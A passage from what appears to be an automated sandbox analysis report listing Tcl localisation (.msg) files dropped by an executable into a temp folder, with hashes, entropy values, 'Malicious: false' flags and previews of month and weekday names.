SHA-512:	F024E3D6D30E8E5C3316364A905C8CCAC87427BFC2EC10E72065F1DD114A112A61FDECDF1C4EC9C3D8BB9A54D18ED4AE9D57B07DA4AFFE480DE12F3D54BED928
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset lv DAYS_OF_WEEK_ABBREV [list \. "Sv"\. "P"\. "O"\. "T"\. "C"\. "Pk"\. "S"]. ::msgcat::mcset lv DAYS_OF_WEEK_FULL [list \. "sv\u0113tdiena"\. "pirmdiena"\. "otrdiena"\. "tre\u0161diena"\. "ceturdien"\. "piektdiena"\. "sestdiena"]. ::msgcat::mcset lv MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Maijs"\. "J\u016bn"\. "J\u016bl"\. "Aug"\. "Sep"\. "Okt"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset lv MONTHS_FULL [list \. "janv\u0101ris"\. "febru\u0101ris"\. "marts"\. "apr\u012blis"\. "maijs"\. "j\u016bnijs"\. "j\u016blijs"\. "augusts"\. "septembris"\. "oktobris"\. "novembris"\. "decembris"\. ""]. ::msgcat

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\mk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2105
Entropy (8bit):	4.237536682442766
Encrypted:	false
SSDEEP:	48:46UcQdZnlcQfAQPWQEHKr9nGUeDjDpxpWQ1Q3QuQoQLX9TSQ2QIQPQHp7+8i:hNdR7cr9nMvXI0i7F89TSn1KX
MD5:	CD589758D4F4B522781A10003D3E1791
SHA1:	D953DD123D54B02BAF4B1AE0D36081CDFCA38444
SHA-256:	F384DD88523147CEF42AA871D323FC4CBEE338FF67CC5C95AEC7940C0E531AE3
SHA-512:	2EA1E71CD1E958F83277006343E85513D112CBB3C22CBFF29910CB1FC37F2389B3F1DCB2533EC59F9E642624869E5C61F289FDC010B55C6EECEF378F2D92DB0B
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mk DAYS_OF_WEEK_ABBREV [list \. "\u043d\u0435\u0434."\. "\u043f\u043e\u043d."\. "\u0432\u0442."\. "\u0441\u0440\u0435."\. "\u0447\u0435\u0442."\. "\u043f\u0435\u0442."\. "\u0441\u0430\u0431."]. ::msgcat::mcset mk DAYS_OF_WEEK_FULL [list \. "\u043d\u0435\u0434\u0435\u043b\u0430"\. "\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u043d\u0438\u043a"\. "\u0432\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0441\u0440\u0435\u0434\u0430"\. "\u0447\u0435\u0442\u0432\u0440\u0442\u043e\u043a"\. "\u043f\u0435\u0442\u043e\u043a"\. "\u0441\u0430\u0431\u043e\u0442\u0430"]. ::msgcat::mcset mk MONTHS_ABBREV [list \. "\u0458\u0430\u043d."\. "\u0444\u0435\u0432."\. "\u043c\u0430\u0440."\. "\u0430\u043f\u0440."\. "\u043c\u0430\u0458."\. "\u0458\u0443\u043d."\. "\u0458\

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\mr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1807
Entropy (8bit):	4.160320823510059
Encrypted:	false
SSDEEP:	24:4azu8ocYe48VcOVczyVczoRSVcqVcR0q4vTqBBiPNVcqVcR0q4vTqBBil:46R48h0qpBBkI0qpBBe
MD5:	791408BAE710B77A27AD664EC3325E1C
SHA1:	E760B143A854838E18FFB66500F4D312DD80634E
SHA-256:	EB2E2B7A41854AF68CEF5881CF1FBF4D38E70D2FAB2C3F3CE5901AA5CC56FC15
SHA-512:	FE91EF67AB9313909FE0C29D5FBE2298EE35969A26A63D94A406BFDA7BCF932F2211F94C0E3C1D718DBC2D1145283C768C23487EEB253249ACFE76E8D1F1D1E5
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mr DAYS_OF_WEEK_FULL [list \. "\u0930\u0935\u093f\u0935\u093e\u0930"\. "\u0938\u094b\u092e\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\. "\u092e\u0902\u0917\u0933\u0935\u093e\u0930"\. "\u0917\u0941\u0930\u0941\u0935\u093e\u0930"\. "\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930"\. "\u0936\u0928\u093f\u0935\u093e\u0930"]. ::msgcat::mcset mr MONTHS_ABBREV [list \. "\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940"\. "\u092b\u0947\u092c\u0943\u0935\u093e\u0930\u0940"\. "\u092e\u093e\u0930\u094d\u091a"\. "\u090f\u092a\u094d\u0930\u093f\u0932"\. "\u092e\u0947"\. "\u091c\u0942\u0928"\. "\u091c\u0941\u0932\u0948"\. "\u0913\u0917\u0938\u094d\u091f"\. "\u0938\u0947\u092a\u094d\u091f\u0947\u0902\u092c\u0930"\. "\u0913\u0915\u094d\u091f\u094b\u092c\u0930"\.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\mr_in.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	251
Entropy (8bit):	4.847742455062573
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoGNv+9/LoGU3v6rZoGNo+3v+6f6HK:4EnLzu8GvWe3v6r5F3vmq
MD5:	899E845D33CAAFB6AD3B1F24B3F92843
SHA1:	FC17A6742BF87E81BBD4D5CB7B4DCED0D4DD657B
SHA-256:	F75A29BB323DB4354B0C759CB1C8C5A4FFC376DFFD74274CA60A36994816A75C
SHA-512:	99D05FCE8A9C9BE06FDA8B54D4DE5497141F6373F470B2AB24C2D00B9C56031350F5DCDA2283A0E6F5B09FF21218FC3C7E2A6AB8ECC5BB020546FD62BDC8FF99
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mr_IN DATE_FORMAT "%d %M %Y". ::msgcat::mcset mr_IN TIME_FORMAT_12 "%I:%M:%S %P". ::msgcat::mcset mr_IN DATE_TIME_FORMAT "%d %M %Y %I:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ms.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	910
Entropy (8bit):	3.9292866027924838
Encrypted:	false
SSDEEP:	12:4EnLzu82mCBuvFYcEfmt1qWjefjESRsToOqrlHvFguSixTRs1OAfC67:4azu82nBuHEfKxjeby7cl9gbZUAfCc
MD5:	441CC737D383D8213F64B62A5DBEEC3E
SHA1:	34FBE99FB25A0DCA2FDA2C008AC8127BA2BC273B
SHA-256:	831F611EE851A64BF1BA5F9A5441EC1D50722FA9F15B4227707FE1927F754DE4
SHA-512:	0474B2127890F63814CD9E77D156B5E4FC45EB3C17A57719B672AC9E3A6EEA9934F0BE158F76808B34A11DA844AB900652C18E512830278DFED2666CD005FBE5
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ms DAYS_OF_WEEK_ABBREV [list \. "Aha"\. "Isn"\. "Sei"\. "Rab"\. "Kha"\. "Jum"\. "Sab"]. ::msgcat::mcset ms DAYS_OF_WEEK_FULL [list \. "Ahad"\. "Isnin"\. "Selasa"\. "Rahu"\. "Khamis"\. "Jumaat"\. "Sabtu"]. ::msgcat::mcset ms MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mac"\. "Apr"\. "Mei"\. "Jun"\. "Jul"\. "Ogos"\. "Sep"\. "Okt"\. "Nov"\. "Dis"\. ""]. ::msgcat::mcset ms MONTHS_FULL [list \. "Januari"\. "Februari"\. "Mac"\. "April"\. "Mei"\. "Jun"\. "Julai"\. "Ogos"\. "September"\. "Oktober"\. "November"\. "Disember"\. ""].}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ms_my.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	259
Entropy (8bit):	4.770028367699931
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoChFflD/LoChF+3v6xH5oCh++3vflm6PYv:4EnLzu8IPflD/ne3v6Tl3vflm6q
MD5:	8261689A45FB754158B10B044BDC4965
SHA1:	6FFC9B16A0600D9BC457322F1316BC175309C6CA
SHA-256:	D05948D75C06669ADDB9708BC5FB48E6B651D4E62EF1B327EF8A3F605FD5271C
SHA-512:	0321A5C17B3E33FDE9480AC6014B373D1663219D0069388920D277AA61341B8293883517C900030177FF82D65340E6C9E3ED051B27708DD093055E3BE64B2AF3
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ms_MY DATE_FORMAT "%A %d %b %Y". ::msgcat::mcset ms_MY TIME_FORMAT_12 "%I:%M:%S %z". ::msgcat::mcset ms_MY DATE_TIME_FORMAT "%A %d %b %Y %I:%M:%S %z %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\mt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	690
Entropy (8bit):	4.48913642143724
Encrypted:	false
SSDEEP:	12:4EnLzu8+YmWjjRgWfjxBTo4erxy1IGZzNN+3v6amK3vZsq:4azu8+YZjjRXbfNedy1IG5N6vjmsvGq
MD5:	CE7E67A03ED8C3297C6A5B634B55D144
SHA1:	3DA5ACC0F52518541810E7F2FE57751955E12BDA
SHA-256:	D115718818E3E3367847CE35BB5FF0361D08993D9749D438C918F8EB87AD8814
SHA-512:	3754AA7B7D27A813C6113D2AA834A951FED1B81E4DACE22C81E0583F29BBC73C014697F39A2067DEC622D98EACD70D26FD40F80CF6D09E1C949F01FADED52C74
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset mt DAYS_OF_WEEK_ABBREV [list \. "\u0126ad"\. "Tne"\. "Tli"\. "Erb"\. "\u0126am"\. "\u0120im"]. ::msgcat::mcset mt MONTHS_ABBREV [list \. "Jan"\. "Fra"\. "Mar"\. "Apr"\. "Mej"\. "\u0120un"\. "Lul"\. "Awi"\. "Set"\. "Ott"\. "Nov"]. ::msgcat::mcset mt BCE "QK". ::msgcat::mcset mt CE "". ::msgcat::mcset mt DATE_FORMAT "%A, %e ta %B, %Y". ::msgcat::mcset mt TIME_FORMAT_12 "%l:%M:%S %P". ::msgcat::mcset mt DATE_TIME_FORMAT "%A, %e ta %B, %Y %l:%M:%S %P %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\nb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1157
Entropy (8bit):	4.24006506188001
Encrypted:	false
SSDEEP:	24:4azu8CKEj4/xasSpfiTBtHQT1V/W3WNfvZv3l:46KU/0s2iTeVOiHN1
MD5:	D5509ABF5CBFB485C20A26FCC6B1783E
SHA1:	53A298FBBF09AE2E223B041786443A3D8688C9EB
SHA-256:	BC401889DD934C49D10D99B471441BE2B536B1722739C7B0AB7DE7629680F602
SHA-512:	BDAFBA46EF44151CFD9EF7BC1909210F6DB2BAC20C31ED21AE3BE7EAC785CD4F545C4590CF551C0D066F982E2050F5844BDDC569F32C5804DBDE657F4511A6FE
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nb DAYS_OF_WEEK_ABBREV [list \. "s\u00f8"\. "ma"\. "ti"\. "on"\. "to"\. "fr"\. "l\u00f8"]. ::msgcat::mcset nb DAYS_OF_WEEK_FULL [list \. "s\u00f8ndag"\. "mandag"\. "tirsdag"\. "onsdag"\. "torsdag"\. "fredag"\. "l\u00f8rdag"]. ::msgcat::mcset nb MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "mai"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "des"\. ""]. ::msgcat::mcset nb MONTHS_FULL [list \. "januar"\. "februar"\. "mars"\. "april"\. "mai"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "desember"\. ""]. ::msgcat::mcset nb BCE "f.Kr.". ::msgcat::mcset nb CE "e.Kr.".

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\nl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1079
Entropy (8bit):	4.158523842311663
Encrypted:	false
SSDEEP:	24:4azu84LFiS8LMKZoNfSZTNTQhFCNZvtWvg:46Oi5LMKZASZTEF2Ntgg
MD5:	98820DFF7E1C8A9EAB8C74B0B25DEB5D
SHA1:	5357063D5699188E544D244EC4AEFDDF7606B922
SHA-256:	49128B36B88E380188059C4B593C317382F32E29D1ADC18D58D14D142459A2BB
SHA-512:	26AB945B7BA00433BEC85ACC1D90D1D3B70CE505976CABE1D75A7134E00CD591AC27463987C515EEA079969DBCF200DA9C8538CAAF178A1EE17C9B0284260C45
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nl DAYS_OF_WEEK_ABBREV [list \. "zo"\. "ma"\. "di"\. "wo"\. "do"\. "vr"\. "za"]. ::msgcat::mcset nl DAYS_OF_WEEK_FULL [list \. "zondag"\. "maandag"\. "dinsdag"\. "woensdag"\. "donderdag"\. "vrijdag"\. "zaterdag"]. ::msgcat::mcset nl MONTHS_ABBREV [list \. "jan"\. "feb"\. "mrt"\. "apr"\. "mei"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "dec"\. ""]. ::msgcat::mcset nl MONTHS_FULL [list \. "januari"\. "februari"\. "maart"\. "april"\. "mei"\. "juni"\. "juli"\. "augustus"\. "september"\. "oktober"\. "november"\. "december"\. ""]. ::msgcat::mcset nl DATE_FORMAT "%e %B %Y". ::msgcat::mcset nl TIME_FORM

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\nl_be.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.817188474504631
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmo4gPI5og9X3vG5og9X3v6X5o49+3vnFDoAov:4EnLzu8WgAhF3v8F3v6JI3v9dy
MD5:	B08E30850CA849068D06A99B4E216892
SHA1:	11B5E95FF4D822E76A1B9C28EEC2BC5E95E5E362
SHA-256:	9CD54EC24CBDBEC5E4FE543DDA8CA95390678D432D33201FA1C32B61F8FE225A
SHA-512:	9AF147C2F22B11115E32E0BFD0126FE7668328E7C67B349A781F42B0022A334E53DDF3FCCC2C34C91BFBB45602A002D0D7B569B5E1FE9F0EE6C4570400CB0B0C
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nl_BE DATE_FORMAT "%d-%m-%y". ::msgcat::mcset nl_BE TIME_FORMAT "%T". ::msgcat::mcset nl_BE TIME_FORMAT_12 "%T". ::msgcat::mcset nl_BE DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\nn.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	4.207752506572597
Encrypted:	false
SSDEEP:	24:4azu8eNsP2/xhsSpf2TBtHQT15j63WN7v9v3l:46it/vs22Te5OiL51
MD5:	2266607EF358B632696C7164E61358B5
SHA1:	A380863A8320DAB1D5A2D60C22ED5F7DB5C7BAF7
SHA-256:	5EE93A8C245722DEB64B68EFF50C081F24DA5DE43D999C006A10C484E1D3B4ED
SHA-512:	2A8DEF754A25736D14B958D8B0CEA0DC41C402A9EFA25C9500BA861A7E8D74C79939C1969AC694245605C17D33AD3984F6B9ACCA4BE03EFC41A878772BB5FD86
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset nn DAYS_OF_WEEK_ABBREV [list \. "su"\. "m\u00e5"\. "ty"\. "on"\. "to"\. "fr"\. "lau"]. ::msgcat::mcset nn DAYS_OF_WEEK_FULL [list \. "sundag"\. "m\u00e5ndag"\. "tysdag"\. "onsdag"\. "torsdag"\. "fredag"\. "laurdag"]. ::msgcat::mcset nn MONTHS_ABBREV [list \. "jan"\. "feb"\. "mar"\. "apr"\. "mai"\. "jun"\. "jul"\. "aug"\. "sep"\. "okt"\. "nov"\. "des"\. ""]. ::msgcat::mcset nn MONTHS_FULL [list \. "januar"\. "februar"\. "mars"\. "april"\. "mai"\. "juni"\. "juli"\. "august"\. "september"\. "oktober"\. "november"\. "desember"\. ""]. ::msgcat::mcset nn BCE "f.Kr.". ::msgcat::mcset nn CE "e.Kr.". ::msgca

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\pl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1211
Entropy (8bit):	4.392723231340452
Encrypted:	false
SSDEEP:	12:4EnLzu854moKR4mtPoTckd8EnO6z3K4jwxI1LRhtm3ni8FwxIBgdE4RsMZmB0CLs:4azu8yNgyJxPEyRhonO+AjTg0Okvpvn
MD5:	31A9133E9DCA7751B4C3451D60CCFFA0
SHA1:	FB97A5830965716E77563BE6B7EB1C6A0EA6BF40
SHA-256:	C39595DDC0095EB4AE9E66DB02EE175B31AC3DA1F649EB88FA61B911F838F753
SHA-512:	329EE7FE79783C83361A0C5FFFD7766B64B8544D1AD63C57AEAA2CC6A526E01D9C4D7765C73E88F86DAE57477459EA330A0C42F39E441B50DE9B0F429D01EAE8
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pl DAYS_OF_WEEK_ABBREV [list \. "N"\. "Pn"\. "Wt"\. "\u015ar"\. "Cz"\. "Pt"\. "So"]. ::msgcat::mcset pl DAYS_OF_WEEK_FULL [list \. "niedziela"\. "poniedzia\u0142ek"\. "wtorek"\. "\u015broda"\. "czwartek"\. "pi\u0105tek"\. "sobota"]. ::msgcat::mcset pl MONTHS_ABBREV [list \. "sty"\. "lut"\. "mar"\. "kwi"\. "maj"\. "cze"\. "lip"\. "sie"\. "wrz"\. "pa\u017a"\. "lis"\. "gru"\. ""]. ::msgcat::mcset pl MONTHS_FULL [list \. "stycze\u0144"\. "luty"\. "marzec"\. "kwiecie\u0144"\. "maj"\. "czerwiec"\. "lipiec"\. "sierpie\u0144"\. "wrzesie\u0144"\. "pa\u017adziernik"\. "listopad"\. "grudzie\u0144"\. ""]. ::msgcat::m

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\pt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1127
Entropy (8bit):	4.325163993882846
Encrypted:	false
SSDEEP:	24:4azu8pYpzzktTYyUgC0CIKjblie5f9kwAAs+CFsFoD6GADvtU6svO:46dCzWTh2AA9/2F4oD6GAztU6KO
MD5:	D827F76D1ED6CB89839CAC2B56FD7252
SHA1:	140D6BC1F6CEF5FD0A390B3842053BF54B54B4E2
SHA-256:	9F2BFFA3B4D8783B2CFB2CED9CC4319ACF06988F61829A1E5291D55B19854E88
SHA-512:	B662336699E23E371F0148EDD742F71874A7A28DFA81F0AFAE91C8C9494CEA1904FEA0C21264CF2A253E0FB1360AD35B28CFC4B74E4D7B2DBB0E453E96F7EB93
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pt DAYS_OF_WEEK_ABBREV [list \. "Dom"\. "Seg"\. "Ter"\. "Qua"\. "Qui"\. "Sex"\. "S\u00e1b"]. ::msgcat::mcset pt DAYS_OF_WEEK_FULL [list \. "Domingo"\. "Segunda-feira"\. "Ter\u00e7a-feira"\. "Quarta-feira"\. "Quinta-feira"\. "Sexta-feira"\. "S\u00e1bado"]. ::msgcat::mcset pt MONTHS_ABBREV [list \. "Jan"\. "Fev"\. "Mar"\. "Abr"\. "Mai"\. "Jun"\. "Jul"\. "Ago"\. "Set"\. "Out"\. "Nov"\. "Dez"\. ""]. ::msgcat::mcset pt MONTHS_FULL [list \. "Janeiro"\. "Fevereiro"\. "Mar\u00e7o"\. "Abril"\. "Maio"\. "Junho"\. "Julho"\. "Agosto"\. "Setembro"\. "Outubro"\. "Novembro"\. "Dezembro"\. ""]. ::msgcat::mcset pt DATE_FO

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\pt_br.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	279
Entropy (8bit):	4.8127929329126085
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmofm6GPWHFLofAW3vG5ofAW3v6X5ofm6T+3vnFDoAov:4EnLzu8hNGgF493vr93v6uNK3v9dy
MD5:	4EE34960147173A12020A583340E92F8
SHA1:	78D91A80E2426A84BC88EE97DA28EC0E4BE8DE45
SHA-256:	E383B20484EE90C00054D52DD5AF473B2AC9DC50C14D459A579EF5F44271D256
SHA-512:	EDFF8FB9A86731FFF005AFBBBB522F69B2C6033F59ECCD5E35A8B6A9E0F9AF23C52FFDCC22D893915AD1854E8104C81DA8C5BD8C794C7E645AFB82001B4BFC24
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset pt_BR DATE_FORMAT "%d-%m-%Y". ::msgcat::mcset pt_BR TIME_FORMAT "%T". ::msgcat::mcset pt_BR TIME_FORMAT_12 "%T". ::msgcat::mcset pt_BR DATE_TIME_FORMAT "%a %d %b %Y %T %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ro.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1172
Entropy (8bit):	4.279005910896047
Encrypted:	false
SSDEEP:	24:4azu8/0oFUBZNk1Mkp3pFukZEoVYfPcF+T1vWFMvUvWI3:46kNkKkpLEoSfPcFgvWFqSWI3
MD5:	0F5C8A7022DB1203442241ABEB5901FF
SHA1:	C54C8BF05E8E6C2C0901D3C88C89DDCF35A26924
SHA-256:	D2E14BE188350D343927D5380EB5672039FE9A37E9A9957921B40E4619B36027
SHA-512:	13ACF499FA803D4446D8EC67119BC8257B1F093084B83D854643CEA918049F96C8FA08DC5F896EECA80A5FD552D90E5079937B1A3894D89A589E468172856163
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ro DAYS_OF_WEEK_ABBREV [list \. "D"\. "L"\. "Ma"\. "Mi"\. "J"\. "V"\. "S"]. ::msgcat::mcset ro DAYS_OF_WEEK_FULL [list \. "duminic\u0103"\. "luni"\. "mar\u0163i"\. "miercuri"\. "joi"\. "vineri"\. "s\u00eemb\u0103t\u0103"]. ::msgcat::mcset ro MONTHS_ABBREV [list \. "Ian"\. "Feb"\. "Mar"\. "Apr"\. "Mai"\. "Iun"\. "Iul"\. "Aug"\. "Sep"\. "Oct"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset ro MONTHS_FULL [list \. "ianuarie"\. "februarie"\. "martie"\. "aprilie"\. "mai"\. "iunie"\. "iulie"\. "august"\. "septembrie"\. "octombrie"\. "noiembrie"\. "decembrie"\. ""]. ::msgcat::mcset ro BCE "d.C.". ::msgcat::mcset ro CE

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ru.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2039
Entropy (8bit):	4.225775794669275
Encrypted:	false
SSDEEP:	48:46CpQ7kvicQfAQPlQoBBCZAitBmZ/QhQoQaQPTeQgQonQ4FQEWFkt3Wd:hCpgkvzRo6QBw53weFHXFgIGd
MD5:	3A7181CE08259FF19D2C27CF8C6752B3
SHA1:	97DFFB1E224CEDB5427841C3B59F85376CD4423B
SHA-256:	C2A3A0BE5BC5A46A6A63C4DE34E317B402BAD40C22FB2936E1A4F53C1E2F625F
SHA-512:	CC9620BA4601E53B22CCFC66A0B53C26224158379DF6BA2D4704A2FE11222DFBDAE3CA9CF51576B4084B8CCA8DB13FDE81396E38F94BCD0C8EA21C5D77680394
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ru DAYS_OF_WEEK_ABBREV [list \. "\u0412\u0441"\. "\u041f\u043d"\. "\u0412\u0442"\. "\u0421\u0440"\. "\u0427\u0442"\. "\u041f\u0442"\. "\u0421\u0431"]. ::msgcat::mcset ru DAYS_OF_WEEK_FULL [list \. "\u0432\u043e\u0441\u043a\u0440\u0435\u0441\u0435\u043d\u044c\u0435"\. "\u043f\u043e\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u0438\u043a"\. "\u0432\u0442\u043e\u0440\u043d\u0438\u043a"\. "\u0441\u0440\u0435\u0434\u0430"\. "\u0447\u0435\u0442\u0432\u0435\u0440\u0433"\. "\u043f\u044f\u0442\u043d\u0438\u0446\u0430"\. "\u0441\u0443\u0431\u0431\u043e\u0442\u0430"]. ::msgcat::mcset ru MONTHS_ABBREV [list \. "\u044f\u043d\u0432"\. "\u0444\u0435\u0432"\. "\u043c\u0430\u0440"\. "\u0430\u043f\u0440"\. "\u043c\u0430\u0439"\. "\u0438\u044e\u043d"\. "\u0438\u

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\ru_ua.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	242
Entropy (8bit):	4.8961185447535
Encrypted:	false
SSDEEP:	6:SlSyEtJLlpuoo6dmoVAgWFLoVY9X3vtfNrFLoVA9+3vW6Q9:4EnLzu8DFWFgaX3vtNS/3vWH9
MD5:	E719F47462123A8E7DABADD2D362B4D8
SHA1:	332E4CC96E7A01DA7FB399EA14770A5C5185B9F2
SHA-256:	AE5D3DF23F019455F3EDFC3262AAC2B00098881F09B9A934C0D26C0AB896700C
SHA-512:	93C19D51B633A118AB0D172C5A0991E5084BD54B2E61469D800F80B251A57BD1392BA66FD627586E75B1B075A7C9C2C667654F5783C423819FBDEA640A210BFA
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset ru_UA DATE_FORMAT "%d.%m.%Y". ::msgcat::mcset ru_UA TIME_FORMAT "%k:%M:%S". ::msgcat::mcset ru_UA DATE_TIME_FORMAT "%d.%m.%Y %k:%M:%S %z".}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\sh.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	4.287536872407747
Encrypted:	false
SSDEEP:	24:4azu8YYy/FY+Cnwj4EbJK5O9g+tQhgQmy/L6GWGvtlMsvWT9:46al4ETw/rWQtVWh
MD5:	C7BBD44BD3C30C6116A15C77B15F8E79
SHA1:	37CD1477A3318838E8D5C93D596A23F99C8409F2
SHA-256:	00F119701C9F3EBA273701A6A731ADAFD7B8902F6BCCF34E61308984456E193A
SHA-512:	DAFBDA53CF6AD57A4F6A078E9EF8ED3CACF2F8809DC2AEFB812A4C3ACCD51D954C52079FA26828D670BF696E14989D3FE3C249F1E612B7C759770378919D8BBC
Malicious:	false
Preview:	# created by tools/loadICU.tcl -- do not edit.namespace eval ::tcl::clock {. ::msgcat::mcset sh DAYS_OF_WEEK_ABBREV [list \. "Ned"\. "Pon"\. "Uto"\. "Sre"\. "\u010cet"\. "Pet"\. "Sub"]. ::msgcat::mcset sh DAYS_OF_WEEK_FULL [list \. "Nedelja"\. "Ponedeljak"\. "Utorak"\. "Sreda"\. "\u010cetvrtak"\. "Petak"\. "Subota"]. ::msgcat::mcset sh MONTHS_ABBREV [list \. "Jan"\. "Feb"\. "Mar"\. "Apr"\. "Maj"\. "Jun"\. "Jul"\. "Avg"\. "Sep"\. "Okt"\. "Nov"\. "Dec"\. ""]. ::msgcat::mcset sh MONTHS_FULL [list \. "Januar"\. "Februar"\. "Mart"\. "April"\. "Maj"\. "Juni"\. "Juli"\. "Avgust"\. "Septembar"\. "Oktobar"\. "Novembar"\. "Decembar"\. ""]. ::msgcat::mcset sh BCE "p. n. e.". ::msgcat::mcset sh CE "n. e."

C:\Users\user\AppData\Local\Temp\_MEI65762\tcl\msgs\sk.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1203
Entropy (8bit):	4.335103779497533
Encrypted:	false
SSDEEP:	24:4azu834j4PV3sSAT3fk3TEJbAT3T1cPyF3eYuCvte/v3eG:46TUG3sPk3TEkcPyFpuEtenJ
MD5:	B2EF88014D274C8001B36739F5F566CE
SHA1:	1044145C1714FD44D008B13A31BC778DFBE47950
SHA-256:	043DECE6EA7C83956B3300B95F8A0E92BADAA8FC29D6C510706649D1D810679A
